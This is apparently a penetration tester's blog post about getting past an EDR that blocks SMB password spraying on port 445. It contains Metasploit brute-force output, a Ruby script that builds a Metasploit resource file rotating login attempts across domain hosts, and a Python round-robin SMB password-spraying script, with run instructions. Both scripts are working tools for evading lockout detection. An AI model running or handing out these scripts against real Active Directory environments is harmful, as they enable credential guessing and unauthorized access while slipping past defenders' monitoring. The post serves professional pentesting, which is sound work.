During a penetration test, it's not an uncommon practice for a penetration tester to launch a password attack against Active Directory. Many times this password attack uses a list of domain user accounts that were enumerated or even just a list of potential domain user accounts that were generated randomly. Many penetration testers will either perform just a single password attack or at least 2-3 attempts, depending on domain's password lockout policy is set to.
A few weeks ago, I was conducting an internal penetration test and noticed that my customer had recently implemented a new endpoint detection and response (EDR) solution that monitored for authentication attacks that targeted 445/tcp (SMB). I realized this after performing an attack using Metasploit and a list of usernames that I randomly generated. I had no idea what the naming convention was, so this username list was going to help me figure it out. Shortly after I started this password attack, this happened:
[*] 10.172.12.171:445 - 10.172.12.171:445 - Starting SMB login bruteforce
[-] 10.172.12.171:445 - 10.172.12.171:445 - Failed: 'obfuscated_domain\aadams:Password1234!',
[!] 10.172.12.171:445 - No active DB -- Credential data will not be saved!
[-] 10.172.12.171:445 - 10.172.12.171:445 - Failed: 'obfuscated_domain\aalexander:Password1234!',
[-] 10.172.12.171:445 - 10.172.12.171:445 - Failed: 'obfuscated_domain\aallen:Password1234!',
[-] 10.172.12.171:445 - 10.172.12.171:445 - Failed: 'obfuscated_domain\aanderson:Password1234!',
[-] 10.172.12.171:445 - 10.172.12.171:445 - Failed: 'obfuscated_domain\abailey:Password1234!',
[-] 10.172.12.171:445 - 10.172.12.171:445 - Failed: 'obfuscated_domain\abaker:Password1234!',
[-] 10.172.12.171:445 - 10.172.12.171:445 - Failed: 'obfuscated_domain\abarnes:Password1234!',
[-] 10.172.12.171:445 - 10.172.12.171:445 - Failed: 'obfuscated_domain\abell:Password1234!',
[-] 10.172.12.171:445 - 10.172.12.171:445 - Failed: 'obfuscated_domain\abennett:Password1234!',
[-] 10.172.12.171:445 - 10.172.12.171:445 - Failed: 'obfuscated_domain\abrooks:Password1234!',
[-] 10.172.12.171:445 - 10.172.12.171:445 - Failed: 'obfuscated_domain\abrown:Password1234!',
-snipped-
[-] 10.172.12.171:445 - 10.172.12.171:445 - Failed: 'obfuscated_domain\agarcia:Password1234!',
[-] 10.172.12.171:445 - 10.172.12.171:445 - Failed: 'obfuscated_domain\agonzales:Password1234!',
[*] 10.172.12.171:445 - Error: 10.172.12.171: RubySMB::Error::CommunicationError An error occured reading from the Socket Connection reset by peer
After noticing this on a single host, I changed targets to another system and noticed the same thing. I actually noticed this same exact behavior on all of the systems that I targeted, including just regular workstations. After developing a new username list that just simply contained numbers 1-100, this is when I came to the conclusion that the password attack was being blocked after 29 consecutive login attempts. After these login attempts, the system would just simply block port 445/tcp for what appeared to be a random amount of seconds.
As opposed to trying to figure out a way to conduct a slower password attack, I just simply developed a quick script to randomize the IPs for each authentication attempt. Using a list of at least 100 IP addresses that were joined to the domain (both workstations and servers), this would ensure that I would only conduct one authentication attack per system per X amount of seconds. This also means that, using this list, you'd have to authenticate to all 100 IP addresses before rotating back to the first one. This would give you at least 30+ seconds and this was perfect for me.
I can't necessarily give this workaround method an official script name since it's pretty ghetto, but I figured I'd just share it with others who may run across the same thing. It's just a simple ruby script that takes a list of IPs (ips.txt
) and a list of usernames (usernames.txt
) and creates a msf_resource.rc
file that you can call from Within Metasploit using resource msf_resource.rc
, provided that you're in the same directory as that file.
Here's the script:
#!/usr/bin/env ruby
usernames = File.open("usernames.txt").read.split("\n")
msf_commands = ["use auxiliary/scanner/smb/smb_login"]
msf_commands << "spool smb/msf/smb_login_pw_guess.txt"
msf_commands << "set SMBPass Winter2020!"
msf_commands << "set SMBDomain obfuscated_domain"
ips = File.open("ips.txt").read.split("\n")
secondary_ips = ips
usernames.each do |username|
if secondary_ips.empty?
secondary_ips = ips
end
msf_commands << "set RHOSTS #{secondary_ips[0]}"
msf_commands << "set SMBUser #{username}"
msf_commands << "run"
secondary_ips.shift
end
File.open("msf_resource.rc", "w") {|f| f.write(msf_commands.join("\n"))}
To run the script, just simply give it execution permissions with chmod +x script_name_here.rb
followed by executing it simply by typing: ./script.rb
. As long as the usernames.txt
and ips.txt
files are in the same directory, it will create a msf_resource.rc
file. From within Metasploit, navigate to the directory where the msf_resource.rc
file is located and call it using resource msf_resource.rc
. If you need to stop it, just hold ctrl+c and cross your fingers with your other hand, as I'm not sure there's an actual way to interrupt a resource file from running, except by suspending the process (with ctrl+z) and killing it.
Again, this is nothing super fancy – it's just a quick, ghetto workaround for conducting a password attack using Metasploit while randomizing IP addresses. At some point, I'd like to submit a pull request for the smb_login
module for Metasploit with a new RandomizeIPs option, but only if I can find the time before a reader does the same thing. Hey, it gets the job done for now. :)
Alternatively, if you want something a bit more efficient and easier, you can leverage the following Python script written by another penetration tester, Connor Brewer, who also faced a similar situation during his penetration test not too long after mine:
#!/usr/bin/env python3
#Round Robin Password Spraying
#ruby script and poc by Alton Johnson
#python by Connor Brewer
from smb.SMBConnection import *
import sys
class round_robin:
def __init__(self):
return
def check_creds(self, dom, uname, pwd, c_name, s_name, ip):
#this function checks a single set of credntials against
#the supplied target IP
#currently only supports port 445
conn = SMBConnection(uname, pwd, c_name, ip, domain=dom, use_ntlm_v2=True, is_direct_tcp=True)
conn.connect(ip, 445, timeout=3)
try:
#if we're unauthed, this will throw and exception
x = conn.listShares()
print(f"[+]{dom}/{uname}:{pwd}")
except:
return False
return True
def pwd_spray(self, u_file, ip_file, pwd, dom):
#takes a list of usernames and ip addresses on the target domain
#rotate through all IP addresses to avoid being blocked on the DC
i_file = open(ip_file)
ip_addrs = i_file.read().split("\n")
u_names = open(u_file)
user_names = u_names.read().split("\n")
n_counter = 0
for user in user_names:
if (user == ""): continue #blankline, skip it
#if we've hit the end of our ip list, go to the beginning
if (n_counter > len(ip_addrs)):
n_counter = 0
#check creds on the ip address.
#192.168.0.1 is a random string value that doesn't matter.
success = 0
while (success != 1):
try:
self.check_creds(dom, user, pwd, "192.168.0.1", ip_addrs[n_counter], ip_addrs[n_counter])
success = 1
except:
print(f"Failed on {ip_addrs[n_counter]}")
#something went wrong. try a different host
n_counter += 1
if (n_counter >= len(ip_addrs)):
n_counter = 0
n_counter += 1
i_file.close()
return
checker = round_robin()
if (len(sys.argv) < 4):
print(f"USAGE: python3 {sys.argv[0]} ")
print("SMB password spraying across all hosts in ips.txt to bypass DC blocks")
sys.exit()
u_file = sys.argv[1]
i_file = sys.argv[2]
pwd = sys.argv[3]
dom = sys.argv[4]
checker.pwd_spray(u_file, i_file, pwd, dom)
You can run this script using the following arguments: ./script.py username_list.txt ip_list.txt <password> <domain>
Happy hunting!